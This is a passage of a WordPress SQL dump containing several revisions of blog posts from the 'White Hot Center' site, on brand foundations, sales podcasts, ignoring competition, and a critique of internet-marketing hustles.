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(2806, 2, '2014-09-23 10:24:38', '2014-09-23 17:24:38', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/09/foundation.jpg"><img class="alignnone size-full wp-image-2802" title="Building your brand on a strong foundation." src="http://whc.fbdev.org/wp-content/uploads/2014/09/foundation.jpg" alt="" width="495" height="306" /></a>\r\n<h1>If you’re going to create a brand that endures, you’ll have to build its value on a solid foundation.</h1>\r\nAsk any architect and they will tell you the most important aspect of building design is not the structure but its foundation. Of course foundations aren’t as glamorous as the stunning design of the architecture itself, but they are critical to supporting not only the weight of the structure, but essential to withstand the constant movement of the earth and the erosion of the soil around it.\r\n\r\nLike any great structure, nothing is more fundamental to the enduring success of your early brand building initiatives than a strong foundation on which your bigger future will rest upon. The foundation you create will determine the stability and sustainability of your brand going forward.\r\n\r\nStrong foundations are the beginning of brand success. If you don’t have a solid foundation for your brand firmly in place, it’ll be next to impossible to withstand the winds of eroding attention spans, clutter, competition and the unpredictable forces of marketplace change.\r\n\r\nWhen entrepreneurs are visioning their future, the first action they must undertake is finding the right soil for building their dream on. Excellent builders start at the ground level…in the dirt building a foundation worthy of their highest ideals and biggest vision!\r\n<h2>Building a strong foundation for your brand is the most important attribute in creating value for others.</h2>\r\nFor entrepreneurs bringing new value to the marketplace, here are a few ideas to consider before you break ground on your next big brand idea:\r\n\r\n<strong>Build your brand’s foundation on good ground.</strong>\r\nDon’t build your castles in the sand is a timeless cliché you’ve heard time and again. It’s also timeless advice many entrepreneurs fail to heed.  In the mad rush to build awareness, trial and purchase, some like to take shortcuts and go right into advertising and promotion. Your brand’s “philosophy” is the “good ground” on which to build. The good ground of your brand’s philosophy will include its purpose, its true north, its values, its character and integrity. Does the philosophy of your brand support the successful design of its future?  Is your brand’s philosophy solid as bedrock or liquid as sand?\r\n\r\n<strong>The brand foundation must fit naturally into the landscape that surrounds it.</strong>\r\nIn architecture it’s called site planning. In business and brand building it’s called strategic planning. Your foundation has to fit naturally and beautifully into the lay of the land otherwise known as the marketplace. How you position your foundation relative to other players in the category landscape is critical in defining your unique value to customers. You must know the lay of the land, your customer’s desires, hopes, aspirations and needs. Where does your brand fit within the mind of the target customer? Who does your brand serve?\r\n\r\n<strong>Strong foundations go deep into the ground.</strong>\r\nIf you have an Empire State Building size vision for your brand, you’ll have to build your foundation deep into the ground. This means you must focus all your creative energy on a deep and narrow value proposition. What is the “one thing” that makes your new brand highly valued and distinctive among all other choices? Develop deep knowledge in the one thing customers love … don’t generalize–specialize! Big ideas require deep and narrow foundations!\r\n\r\n<strong>Strong foundations are well designed and engineered.</strong>\r\nHow your products, services and customer experiences are designed is a critical element in the foundation of your brand building. How you create and deliver value requires smart engineering and elegant design…everything in the customer’s experience of engagement must be well thought out and properly executed. This is foundational to the make-up of extraordinary brands and leading businesses. Design matters and determines competitive advantage. Make your strong and enduring brand foundation beautiful!\r\n\r\n<strong>Strong foundations are made of quality materials.</strong>\r\nIf your brand is to grow and stand the test of time, it must be comprised of the highest quality materials. Build your brand foundation in association with high quality partners, collaborators, employees and suppliers. Brands are created in an ecosystem of diverse talents of people whose passion for excellence and success is equal and greater to your own. A foundation is only as strong as the quality of the materials used. Trusted relationships are what bond enduring brands with those that are the makers and the users.\r\n\r\n<strong>A strong foundation will protect your long term marketing investments.</strong>\r\nIf you’re planning to put something remarkable and extraordinary on top of your foundation, you will need to invest a great deal of time, energy and money. The quality of your foundation must support and protect the marketing investment you make in your brand’s future. Building the early foundations is not as glamorous as creating marketing campaigns. Remember just because most of your foundation is below ground and not seen by your customers, doesn’t mean you can compromise any aspect of its integrity.\r\n\r\n<strong>The lasting value of your brand depends upon creating the foundation right from day one. Persuasion and promotion is far less important than the strategic work of laying a solid foundation on good ground– a foundation that fits naturally into the brandscape, is well designed and comprised of quality material.</strong>\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center</em>', 'Building your brand on a strong foundation.', 0, '', 'inherit', 'open', 'open', '', '2801-revision-4', '', '', '2014-09-23 10:24:38', '2014-09-23 17:24:38', '', 2801, 'http://www.whitehotcenter.com/2014/09/2801-revision-4/', 0, 'revision', '', 0),
(2807, 2, '2014-09-23 10:24:41', '2014-09-23 17:24:41', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/09/foundation.jpg"><img class="alignnone size-full wp-image-2802" title="Building your brand on a strong foundation." src="http://whc.fbdev.org/wp-content/uploads/2014/09/foundation.jpg" alt="" width="495" height="306" /></a>\r\n<h1>If you’re going to create a brand that endures, you’ll have to build its value on a solid foundation.</h1>\r\nAsk any architect and they will tell you the most important aspect of building design is not the structure but its foundation. Of course foundations aren’t as glamorous as the stunning design of the architecture itself, but they are critical to supporting not only the weight of the structure, but essential to withstand the constant movement of the earth and the erosion of the soil around it.\r\n\r\nLike any great structure, nothing is more fundamental to the enduring success of your early brand building initiatives than a strong foundation on which your bigger future will rest upon. The foundation you create will determine the stability and sustainability of your brand going forward.\r\n\r\nStrong foundations are the beginning of brand success. If you don’t have a solid foundation for your brand firmly in place, it’ll be next to impossible to withstand the winds of eroding attention spans, clutter, competition and the unpredictable forces of marketplace change.\r\n\r\nWhen entrepreneurs are visioning their future, the first action they must undertake is finding the right soil for building their dream on. Excellent builders start at the ground level…in the dirt building a foundation worthy of their highest ideals and biggest vision!\r\n<h2>Building a strong foundation for your brand is the most important attribute in creating value for others.</h2>\r\nFor entrepreneurs bringing new value to the marketplace, here are a few ideas to consider before you break ground on your next big brand idea:\r\n\r\n<strong>Build your brand’s foundation on good ground.</strong>\r\nDon’t build your castles in the sand is a timeless cliché you’ve heard time and again. It’s also timeless advice many entrepreneurs fail to heed.  In the mad rush to build awareness, trial and purchase, some like to take shortcuts and go right into advertising and promotion. Your brand’s “philosophy” is the “good ground” on which to build. The good ground of your brand’s philosophy will include its purpose, its true north, its values, its character and integrity. Does the philosophy of your brand support the successful design of its future?  Is your brand’s philosophy solid as bedrock or liquid as sand?\r\n\r\n<strong>The brand foundation must fit naturally into the landscape that surrounds it.</strong>\r\nIn architecture it’s called site planning. In business and brand building it’s called strategic planning. Your foundation has to fit naturally and beautifully into the lay of the land otherwise known as the marketplace. How you position your foundation relative to other players in the category landscape is critical in defining your unique value to customers. You must know the lay of the land, your customer’s desires, hopes, aspirations and needs. Where does your brand fit within the mind of the target customer? Who does your brand serve?\r\n\r\n<strong>Strong foundations go deep into the ground.</strong>\r\nIf you have an Empire State Building size vision for your brand, you’ll have to build your foundation deep into the ground. This means you must focus all your creative energy on a deep and narrow value proposition. What is the “one thing” that makes your new brand highly valued and distinctive among all other choices? Develop deep knowledge in the one thing customers love … don’t generalize–specialize! Big ideas require deep and narrow foundations!\r\n\r\n<strong>Strong foundations are well designed and engineered.</strong>\r\nHow your products, services and customer experiences are designed is a critical element in the foundation of your brand building. How you create and deliver value requires smart engineering and elegant design…everything in the customer’s experience of engagement must be well thought out and properly executed. This is foundational to the make-up of extraordinary brands and leading businesses. Design matters and determines competitive advantage. Make your strong and enduring brand foundation beautiful!\r\n\r\n<strong>Strong foundations are made of quality materials.</strong>\r\nIf your brand is to grow and stand the test of time, it must be comprised of the highest quality materials. Build your brand foundation in association with high quality partners, collaborators, employees and suppliers. Brands are created in an ecosystem of diverse talents of people whose passion for excellence and success is equal and greater to your own. A foundation is only as strong as the quality of the materials used. Trusted relationships are what bond enduring brands with those that are the makers and the users.\r\n\r\n<strong>A strong foundation will protect your long term marketing investments.</strong>\r\nIf you’re planning to put something remarkable and extraordinary on top of your foundation, you will need to invest a great deal of time, energy and money. The quality of your foundation must support and protect the marketing investment you make in your brand’s future. Building the early foundations is not as glamorous as creating marketing campaigns. Remember just because most of your foundation is below ground and not seen by your customers, doesn’t mean you can compromise any aspect of its integrity.\r\n\r\n<strong>The lasting value of your brand depends upon creating the foundation right from day one. Persuasion and promotion is far less important than the strategic work of laying a solid foundation on good ground– a foundation that fits naturally into the brandscape, is well designed and comprised of quality material.</strong>\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center</em>', 'Building your brand on a strong foundation.', 0, '', 'inherit', 'open', 'open', '', '2801-revision-5', '', '', '2014-09-23 10:24:41', '2014-09-23 17:24:41', '', 2801, 'http://www.whitehotcenter.com/2014/09/2801-revision-5/', 0, 'revision', '', 0),
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(2818, 2, '2014-12-22 11:38:44', '2014-12-22 18:38:44', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2014/12/give-advice.jpg"><img class="alignnone size-full wp-image-2816" title="Five Keys to Effective Sales Conversations" src="http://whc.fbdev.org/wp-content/uploads/2014/12/give-advice.jpg" alt="" width="495" height="399" /></a>When you get that big moment to have your first conversation with a prospective client you’ve been working on for months, remember to be influential with customers, it’s about service not selling!</h2>\r\n[podcast format="video"]http://whc.fbdev.org/wp-content/uploads/2014/12/Podcast5keys-to-sales.mp3[/podcast]', 'WHC Podcast:  Five keys to be more influential in your sales conversations', 0, '', 'inherit', 'open', 'open', '', '2808-revision-8', '', '', '2014-12-22 11:38:44', '2014-12-22 18:38:44', '', 2808, 'http://www.whitehotcenter.com/2014/12/2808-revision-8/', 0, 'revision', '', 0),
(2819, 2, '2014-12-22 11:38:48', '2014-12-22 18:38:48', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2014/12/give-advice.jpg"><img class="alignnone size-full wp-image-2816" title="Five Keys to Effective Sales Conversations" src="http://whc.fbdev.org/wp-content/uploads/2014/12/give-advice.jpg" alt="" width="495" height="399" /></a>When you get that big moment to have your first conversation with a prospective client you’ve been working on for months, remember to be influential with customers, it’s about service not selling!</h2>\r\n[podcast format="video"]http://whc.fbdev.org/wp-content/uploads/2014/12/Podcast5keys-to-sales.mp3[/podcast]', 'WHC Podcast:  Five keys to be more influential in your sales conversations', 0, '', 'inherit', 'open', 'open', '', '2808-revision-9', '', '', '2014-12-22 11:38:48', '2014-12-22 18:38:48', '', 2808, 'http://www.whitehotcenter.com/2014/12/2808-revision-9/', 0, 'revision', '', 0),
(2820, 2, '2014-12-22 11:43:42', '2014-12-22 18:43:42', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2014/12/give-advice.jpg"><img class="alignnone size-full wp-image-2816" title="Five Keys to Effective Sales Conversations" src="http://whc.fbdev.org/wp-content/uploads/2014/12/give-advice.jpg" alt="" width="495" height="399" /></a>\r\nWhen you get that big moment to have your first conversation with a prospective client you’ve been working on for months, remember to be influential with customers, it’s about service not selling!</h2>\r\nFor those reading on your mobile devices that don''t support Flash, please follow the links to the web site for the podacst.\r\n\r\n[podcast format="video"]http://whc.fbdev.org/wp-content/uploads/2014/12/Podcast5keys-to-sales.mp3[/podcast]', 'WHC Podcast:  Five keys to be more influential in your sales conversations', 0, '', 'inherit', 'open', 'open', '', '2808-revision-10', '', '', '2014-12-22 11:43:42', '2014-12-22 18:43:42', '', 2808, 'http://www.whitehotcenter.com/2014/12/2808-revision-10/', 0, 'revision', '', 0),
(2821, 2, '2014-12-22 11:43:46', '2014-12-22 18:43:46', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2014/12/give-advice.jpg"><img class="alignnone size-full wp-image-2816" title="Five Keys to Effective Sales Conversations" src="http://whc.fbdev.org/wp-content/uploads/2014/12/give-advice.jpg" alt="" width="495" height="399" /></a>\r\nWhen you get that big moment to have your first conversation with a prospective client you’ve been working on for months, remember to be influential with customers, it’s about service not selling!</h2>\r\nFor those reading on your mobile devices that don''t support Flash, please follow the links to the web site for the podacst.\r\n\r\n[podcast format="video"]http://whc.fbdev.org/wp-content/uploads/2014/12/Podcast5keys-to-sales.mp3[/podcast]', 'WHC Podcast:  Five keys to be more influential in your sales conversations', 0, '', 'inherit', 'open', 'open', '', '2808-revision-11', '', '', '2014-12-22 11:43:46', '2014-12-22 18:43:46', '', 2808, 'http://www.whitehotcenter.com/2014/12/2808-revision-11/', 0, 'revision', '', 0),
(2822, 2, '2014-12-22 11:45:29', '2014-12-22 18:45:29', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2014/12/give-advice.jpg"><img class="alignnone size-full wp-image-2816" title="Five Keys to Effective Sales Conversations" src="http://whc.fbdev.org/wp-content/uploads/2014/12/give-advice.jpg" alt="" width="495" height="399" /></a>\nWhen you get that big moment to have your first conversation with a prospective client you’ve been working on for months, remember to be influential with customers, it’s about service not selling!</h2>\nFor those reading on your mobile devices that don''t support Flash, please follow the links to the web site for the podacst.\n\n[podcast format="video"]http://whc.fbdev.org/wp-content/uploads/2014/12/Podcast5keys-to-sales.mp3[/podcast]', 'WHC Podcast:  Five keys to be more influential in your sales conversations', 0, '', 'inherit', 'open', 'open', '', '2808-autosave', '', '', '2014-12-22 11:45:29', '2014-12-22 18:45:29', '', 2808, 'http://www.whitehotcenter.com/2014/12/2808-autosave/', 0, 'revision', '', 0),
(2825, 2, '2015-02-16 13:51:03', '2015-02-16 20:51:03', '<img class="alignnone size-full wp-image-2826" title="To create success, forget about competition." src="http://whc.fbdev.org/wp-content/uploads/2015/02/competition4.gif" alt="" width="460" height="453" />\r\n\r\nMany of us have been taught to believe competition is a good thing. Competition builds character and strength. Competition insures the survival of the fittest, the strongest, the smartest, the richest, and the most worthy. If you’re not competitive, you’ll lose.\r\n\r\nIn this podcast, I will share an important principle that will help you rid your mind of the idea that competition is a factor in your business success!\r\n\r\n[podcast format="video"]http://whc.fbdev.org/wp-content/uploads/2015/02/CreateSuccesForgetCompetition2.14.15.mp3[/podcast]\r\n\r\n&nbsp;', 'WHC Podcast: To create success, forget about competition!', 0, '', 'publish', 'open', 'open', '', 'whc-podcast-to-create-success-forget-about-competition', '', '', '2015-02-16 13:51:56', '2015-02-16 20:51:56', '', 0, 'http://www.whitehotcenter.com/?p=2825', 0, 'post', '', 0),
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(2827, 2, '2015-02-16 13:34:09', '2015-02-16 20:34:09', '<img class="alignnone size-full wp-image-2826" title="To create success, forget about competition." src="http://whc.fbdev.org/wp-content/uploads/2015/02/competition4.gif" alt="" width="460" height="453" />\n\nMany of us have been taught to believe competition is a good thing. Competition builds character and strength. Competition insures the survival of the fittest, the strongest, the smartest, the richest, and the most worthy. If you’re not competitive, you’ll lose.\n\nIn this podcast, I will share an important principle that will help you rid your mind of the idea that competition is a factor in your success!\n\n&nbsp;', 'WHC Podcast: To create success, forget about competition!', 0, '', 'inherit', 'open', 'open', '', '2825-revision', '', '', '2015-02-16 13:34:09', '2015-02-16 20:34:09', '', 2825, 'http://www.whitehotcenter.com/2015/02/2825-revision/', 0, 'revision', '', 0),
(2828, 2, '2015-02-16 13:35:09', '2015-02-16 20:35:09', '<img class="alignnone size-full wp-image-2826" title="To create success, forget about competition." src="http://whc.fbdev.org/wp-content/uploads/2015/02/competition4.gif" alt="" width="460" height="453" />\n<h3>Many of us have been taught to believe competition is a good thing. Competition builds character and strength. Competition insures the survival of the fittest, the strongest, the smartest, the richest, and the most worthy. If you’re not competitive, you’ll lose.</h3>\n<h3>In this podcast, I will share an important principle that will help you rid your mind of the idea that competition is a factor in your success!</h3>\n[podcast format="video"]http://whc.fbdev.org/wp-content/uploads/2015/02/CreateSuccesForgetCompetition2.14.15.mp3[/podcast]\n\n&nbsp;', 'WHC Podcast: To create success, forget about competition!', 0, '', 'inherit', 'open', 'open', '', '2825-revision-2', '', '', '2015-02-16 13:35:09', '2015-02-16 20:35:09', '', 2825, 'http://www.whitehotcenter.com/2015/02/2825-revision-2/', 0, 'revision', '', 0),
(2829, 2, '2015-02-16 13:50:54', '2015-02-16 20:50:54', '<img class="alignnone size-full wp-image-2826" title="To create success, forget about competition." src="http://whc.fbdev.org/wp-content/uploads/2015/02/competition4.gif" alt="" width="460" height="453" />\r\n<h3>Many of us have been taught to believe competition is a good thing. Competition builds character and strength. Competition insures the survival of the fittest, the strongest, the smartest, the richest, and the most worthy. If you’re not competitive, you’ll lose.</h3>\r\n<h3>In this podcast, I will share an important principle that will help you rid your mind of the idea that competition is a factor in your business success!</h3>\r\n[podcast format="video"]http://whc.fbdev.org/wp-content/uploads/2015/02/CreateSuccesForgetCompetition2.14.15.mp3[/podcast]\r\n\r\n&nbsp;', 'WHC Podcast: To create success, forget about competition!', 0, '', 'inherit', 'open', 'open', '', '2825-revision-3', '', '', '2015-02-16 13:50:54', '2015-02-16 20:50:54', '', 2825, 'http://www.whitehotcenter.com/2015/02/2825-revision-3/', 0, 'revision', '', 0),
(2830, 2, '2015-02-16 13:51:03', '2015-02-16 20:51:03', '<img class="alignnone size-full wp-image-2826" title="To create success, forget about competition." src="http://whc.fbdev.org/wp-content/uploads/2015/02/competition4.gif" alt="" width="460" height="453" />\r\n<h3>Many of us have been taught to believe competition is a good thing. Competition builds character and strength. Competition insures the survival of the fittest, the strongest, the smartest, the richest, and the most worthy. If you’re not competitive, you’ll lose.</h3>\r\n<h3>In this podcast, I will share an important principle that will help you rid your mind of the idea that competition is a factor in your business success!</h3>\r\n[podcast format="video"]http://whc.fbdev.org/wp-content/uploads/2015/02/CreateSuccesForgetCompetition2.14.15.mp3[/podcast]\r\n\r\n&nbsp;', 'WHC Podcast: To create success, forget about competition!', 0, '', 'inherit', 'open', 'open', '', '2825-revision-4', '', '', '2015-02-16 13:51:03', '2015-02-16 20:51:03', '', 2825, 'http://www.whitehotcenter.com/2015/02/2825-revision-4/', 0, 'revision', '', 0),
(2831, 4666, '2015-06-17 07:49:19', '2015-06-17 14:49:19', '<img class="alignnone size-full wp-image-2826" title="To create success, forget about competition." src="http://whc.fbdev.org/wp-content/uploads/2015/02/competition4.gif" alt="" width="460" height="453" />\n\nMany of us have been taught to believe competition is a good thing. Competition builds character and strength. Competition insures the survival of the fittest, the strongest, the smartest, the richest, and the most worthy. If you’re not competitive, you’ll lose.\n\nIn this podcast, I will share an important principle that will help you rid your mind of the idea that competition is a factor in your business success!\n\n[podcast format="video"]http://whc.fbdev.org/wp-content/uploads/2015/02/CreateSuccesForgetCompetition2.14.15.mp3[/podcast]\n\n&nbsp;', 'WHC Podcast: To create success, forget about competition!', 0, '', 'inherit', 'open', 'open', '', '2825-autosave', '', '', '2015-06-17 07:49:19', '2015-06-17 14:49:19', '', 2825, 'http://www.whitehotcenter.com/2015/02/2825-autosave/', 0, 'revision', '', 0),
(2833, 2, '2015-03-23 11:09:07', '2015-03-23 18:09:07', '<img class="alignnone size-full wp-image-2834" title="The Internet marketing hustle" src="http://whc.fbdev.org/wp-content/uploads/2015/03/Big-Nose.jpg" alt="" width="495" height="272" />\r\n<h2>The secret to marketing success promoted by many “internet marketing” personalities is indeed compelling. What they all have in common is this implicit notion that building hot prospect lists, converting cold web traffic into customers willing to pay big money for your stuff online is easy. Their secret formula for marketing success is a lie.</h2>\r\nSince the dawn of time there have always been hustlers and hucksters in the marketplace. People whose only real interest is separating you from your money. I think the majority of internet marketing (particularly of sales and marketing information products) is but one more modern expression of an age old hustle–there’s a secret easy formula for success.\r\n\r\nAs a life-long entrepreneur, one thing I know without reservation from my own long experience– creating high value customers is not easy, never has been easy, nor should it be easy!\r\n<h3>Anyone who says “you too can generate $128,000 a year simply by sending out these simple email templates to convert cold web traffic” is selling you bullshit.  And like PT Barnum said long ago “there’s a sucker born every minute”.</h3>\r\nLet that not be you!\r\n\r\n<strong>News flash: marketing is no longer marketing.</strong>\r\n\r\nTrue enough, marketing is an essential discipline of which every entrepreneur and solo professional must possess at least a basic understanding.  In the hyper-connected, 24/7 digital world we live in, the available tools and channels for marketing your business have never been more ubiquitous and mostly free.\r\n\r\nOn the flip-side, there’s never been a time in human history where there is so much noise and clutter in the marketplace. The internet is now the great slush pile! Clutter is your real competition!\r\n\r\nIf you ponder deeply the ramifications of your own ever shrinking attention span, you’ll begin to realize more empathy for your target customer and their eagerness to open your randomly sent marketing emails or visit your “squeeze page”.\r\n\r\nThe idea for this post came to me while in conversation with an executive client of mine.  She explained she receives a minimum of 200 emails per day. Less than 20 of those emails require her to read and then take some form of action.\r\n\r\nShe went on to explain how proud she was of her own clever system for deleting those unwanted solicitations. In fact, deleting marketing emails had become a daily productivity ritual–something she savored with her morning muffin and coffee.\r\n\r\n<strong>Creating high value customers requires blood, sweat and tears.</strong>\r\n\r\nIn my business career I can count on two fingers the number of clients I have won through mass marketing outreach. Without exception my successful business relationships have originated from some form of referral. Referrals are the platinum level of business development and marketing.\r\n\r\nThere are two kinds of referrals:\r\n\r\n<em>The latent referral.</em>\r\nYour name, along with several others, is casually mentioned as a possible resource or solution to a potential customer by a trusted source.\r\n\r\n<em>The blatant referral.</em>\r\nYou are highly endorsed by people who can’t wait to share their experience of doing business with you.\r\n\r\nReferrals remove the passive lookers, and instantly sets up a situation where only you are being considered to bring solutions to an active buyer. Latent referrals enhance awareness of your offerings, while blatant referrals make competition irrelevant. Both are necessary for creating high value customers and a sustainably successful business.\r\n\r\nCreating a supreme level of ‘refer-ability” in your business is the same as growing a garden. Everything starts with seeds, the right dirt, a favorable environment, and focused tender loving (work) care– and a pinch of good luck.\r\n\r\nIt also takes time.\r\n\r\nIn other words, you must do real work over time. Like all things in nature, success is plant, gestation then harvest and only in that order. What the “internet marketers” are selling you on is the compelling idea that you can remove the “gestation period” from the equation. This is simply not so. This truth will piss you off and set you free my friend.\r\n\r\nBuilding a successful business requires you <em>bake in</em> your marketing through the very experience customers have doing business with you. In time the good word gets out creating latent referrals to your offerings. Then, by delivering real value to people over time, customers and clients blatantly endorse you every chance they get.\r\n\r\nEventually, clients and customers come to you more than willing to pay the premium price to obtain your valuable solution.\r\n\r\n<strong>In this, there are no easy shortcuts, simple templates and magic formulas. Your greatness is not fast and cheap, nor will your customers ever experience it that way.</strong>\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center.</em>\r\n\r\n&nbsp;', 'The internet marketing hustle.', 0, '', 'publish', 'open', 'open', '', 'the-internet-marketing-hustle', '', '', '2015-09-24 09:18:53', '2015-09-24 16:18:53', '', 0, 'http://www.whitehotcenter.com/?p=2833', 0, 'post', '', 0),
(2834, 2, '2015-03-23 10:49:44', '2015-03-23 17:49:44', '', 'The Internet marketing hustle', 0, '', 'inherit', 'open', 'open', '', 'big-nose', '', '', '2015-03-23 10:49:44', '2015-03-23 17:49:44', '', 2833, 'http://www.whitehotcenter.com/wp-content/uploads/2015/03/Big-Nose.jpg', 0, 'attachment', 'image/jpeg', 0),
(2835, 2, '2015-03-23 10:54:17', '2015-03-23 17:54:17', '<img class="alignnone size-full wp-image-2834" title="The Internet marketing hustle" src="http://whc.fbdev.org/wp-content/uploads/2015/03/Big-Nose.jpg" alt="" width="495" height="272" />\n<h2>The secret to marketing success promoted by many “internet marketing” personalities is indeed compelling. What they all have in common is this implicit notion that building hot prospect lists, converting cold web traffic into customers willing to pay big money for your stuff online is easy. Their secret formula for marketing success is a lie.</h2>\nSince the dawn of time there have always been hustlers and hucksters in the marketplace. People whose only real interest is separating you from your money. I think the majority of internet marketing (particularly of sales and marketing information products) is but one more modern expression of an age old hustle–there’s a secret easy formula for success.\n\nAs a life-long entrepreneur, one thing I know without reservation from my own long experience– creating high value customers is not easy, never has been easy, nor should it be easy!\n<h3>Anyone who says “you too can generate $128,000 a year simply by sending out these simple email templates to convert cold web traffic” is selling you bullshit.  And like PT Barnum said long ago “there’s a sucker born every minute”.</h3>\nLet that not be you!\n\n<strong>News flash: marketing is no longer marketing.</strong>\n\nTrue enough, marketing is an essential discipline of which every entrepreneur and solo professional must possess at least a basic understanding.  In the hyper-connected, 24/7 digital world we live in, the available tools and channels for marketing your business have never been more ubiquitous and mostly free.\n\nOn the flip-side, there’s never been a time in human history where there is so much noise and clutter in the marketplace. The internet is now the great slush pile! Clutter is your real competition!\n\nIf you ponder deeply the ramifications of your own ever shrinking attention span, you’ll begin to realize more empathy for your target customer and their eagerness to open your randomly sent marketing emails or visit your “squeeze page”.\n\nThe idea for this post came to me while in conversation with an executive client of mine.  She explained she receives a minimum of 200 emails per day. Less than 20 of those emails require her to read and then take some form of action.\n\nShe went on to explain further how proud she was of her own clever system for deleting those unwanted solicitations. In fact, deleting marketing emails had become a daily productivity ritual–something she savored with her morning muffin and coffee.\n\n<strong>Creating high value customers requires blood, sweat and tears.</strong>\n\nIn my business career I can count on two fingers the number of clients I have won through mass marketing outreach. Without exception my successful business relationships have originated from some form of referral. Referrals are the platinum level of business development and marketing.\n\nThere are two kinds of referrals:\n\n<em>The latent referral.</em>\nYour name, along with several others, is casually mentioned as a possible resource or solution to a potential customer by a trusted source.\n\n<em>The blatant referral.</em>\nYou are highly endorsed by people who can’t wait to share their experience of doing business with you.\n\nReferrals remove the passive lookers, and instantly sets up a situation where only you are being considered to bring solutions to an active buyer. Latent referrals enhance awareness of your offerings, while blatant referrals make competition irrelevant. Both are necessary for creating high value customers and a sustainably successful business.\n\nCreating a supreme level of ‘refer-ability” in your business is the same as growing a garden. Everything starts with seeds, the right dirt, a favorable environment, and focused tender loving (work) care– and a pinch of good luck.\n\nIt also takes time.\n\nIn other words, you must do real work over time. Like all things in nature, success is plant, gestation then harvest and only in that order. What the “internet marketers” are selling you on is the compelling idea that you can remove the “gestation period” from the equation. This is simply not so. This truth will piss you off and set you free my friend.\n\nBuilding a successful business requires you <em>bake in</em> your marketing through the very experience customers have doing business with you. In time the good word gets out creating latent referrals to your offerings. Then, by delivering real value to people over time, customers and clients blatantly endorse you every chance they get.\n\nEventually, clients and customers come to you more than willing to pay the premium price to obtain your valuable solution.\n\n<strong>In this, there are no easy shortcuts, simple templates and magic formulas. Your greatness is not fast and cheap, nor will you ever experience it that way.</strong>\n\n<em>If you found this post helpful, please subscribe to the White Hot Center.</em>\n\n&nbsp;', 'The internet marketing hustle.', 0, '', 'inherit', 'open', 'open', '', '2833-revision-v1', '', '', '2015-03-23 10:54:17', '2015-03-23 17:54:17', '', 2833, 'http://www.whitehotcenter.com/2015/03/2833-revision/', 0, 'revision', '', 0),
(2836, 2, '2015-03-23 10:54:23', '2015-03-23 17:54:23', '<img class="alignnone size-full wp-image-2834" title="The Internet marketing hustle" src="http://whc.fbdev.org/wp-content/uploads/2015/03/Big-Nose.jpg" alt="" width="495" height="272" />\r\n<h2>The secret to marketing success promoted by many “internet marketing” personalities is indeed compelling. What they all have in common is this implicit notion that building hot prospect lists, converting cold web traffic into customers willing to pay big money for your stuff online is easy. Their secret formula for marketing success is a lie.</h2>\r\nSince the dawn of time there have always been hustlers and hucksters in the marketplace. People whose only real interest is separating you from your money. I think the majority of internet marketing (particularly of sales and marketing information products) is but one more modern expression of an age old hustle–there’s a secret easy formula for success.\r\n\r\nAs a life-long entrepreneur, one thing I know without reservation from my own long experience– creating high value customers is not easy, never has been easy, nor should it be easy!\r\n<h3>Anyone who says “you too can generate $128,000 a year simply by sending out these simple email templates to convert cold web traffic” is selling you bullshit.  And like PT Barnum said long ago “there’s a sucker born every minute”.</h3>\r\nLet that not be you!\r\n\r\n<strong>News flash: marketing is no longer marketing.</strong>\r\n\r\nTrue enough, marketing is an essential discipline of which every entrepreneur and solo professional must possess at least a basic understanding.  In the hyper-connected, 24/7 digital world we live in, the available tools and channels for marketing your business have never been more ubiquitous and mostly free.\r\n\r\nOn the flip-side, there’s never been a time in human history where there is so much noise and clutter in the marketplace. The internet is now the great slush pile! Clutter is your real competition!\r\n\r\nIf you ponder deeply the ramifications of your own ever shrinking attention span, you’ll begin to realize more empathy for your target customer and their eagerness to open your randomly sent marketing emails or visit your “squeeze page”.\r\n\r\nThe idea for this post came to me while in conversation with an executive client of mine.  She explained she receives a minimum of 200 emails per day. Less than 20 of those emails require her to read and then take some form of action.\r\n\r\nShe went on to explain further how proud she was of her own clever system for deleting those unwanted solicitations. In fact, deleting marketing emails had become a daily productivity ritual–something she savored with her morning muffin and coffee.\r\n\r\n<strong>Creating high value customers requires blood, sweat and tears.</strong>\r\n\r\nIn my business career I can count on two fingers the number of clients I have won through mass marketing outreach. Without exception my successful business relationships have originated from some form of referral. Referrals are the platinum level of business development and marketing.\r\n\r\nThere are two kinds of referrals:\r\n\r\n<em>The latent referral.</em>\r\nYour name, along with several others, is casually mentioned as a possible resource or solution to a potential customer by a trusted source.\r\n\r\n<em>The blatant referral.</em>\r\nYou are highly endorsed by people who can’t wait to share their experience of doing business with you.\r\n\r\nReferrals remove the passive lookers, and instantly sets up a situation where only you are being considered to bring solutions to an active buyer. Latent referrals enhance awareness of your offerings, while blatant referrals make competition irrelevant. Both are necessary for creating high value customers and a sustainably successful business.\r\n\r\nCreating a supreme level of ‘refer-ability” in your business is the same as growing a garden. Everything starts with seeds, the right dirt, a favorable environment, and focused tender loving (work) care– and a pinch of good luck.\r\n\r\nIt also takes time.\r\n\r\nIn other words, you must do real work over time. Like all things in nature, success is plant, gestation then harvest and only in that order. What the “internet marketers” are selling you on is the compelling idea that you can remove the “gestation period” from the equation. This is simply not so. This truth will piss you off and set you free my friend.\r\n\r\nBuilding a successful business requires you <em>bake in</em> your marketing through the very experience customers have doing business with you. In time the good word gets out creating latent referrals to your offerings. Then, by delivering real value to people over time, customers and clients blatantly endorse you every chance they get.\r\n\r\nEventually, clients and customers come to you more than willing to pay the premium price to obtain your valuable solution.\r\n\r\n<strong>In this, there are no easy shortcuts, simple templates and magic formulas. Your greatness is not fast and cheap, nor will you ever experience it that way.</strong>\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center.</em>\r\n\r\n&nbsp;', 'The internet marketing hustle.', 0, '', 'inherit', 'open', 'open', '', '2833-revision-v1', '', '', '2015-03-23 10:54:23', '2015-03-23 17:54:23', '', 2833, 'http://www.whitehotcenter.com/2015/03/2833-revision-2/', 0, 'revision', '', 0);
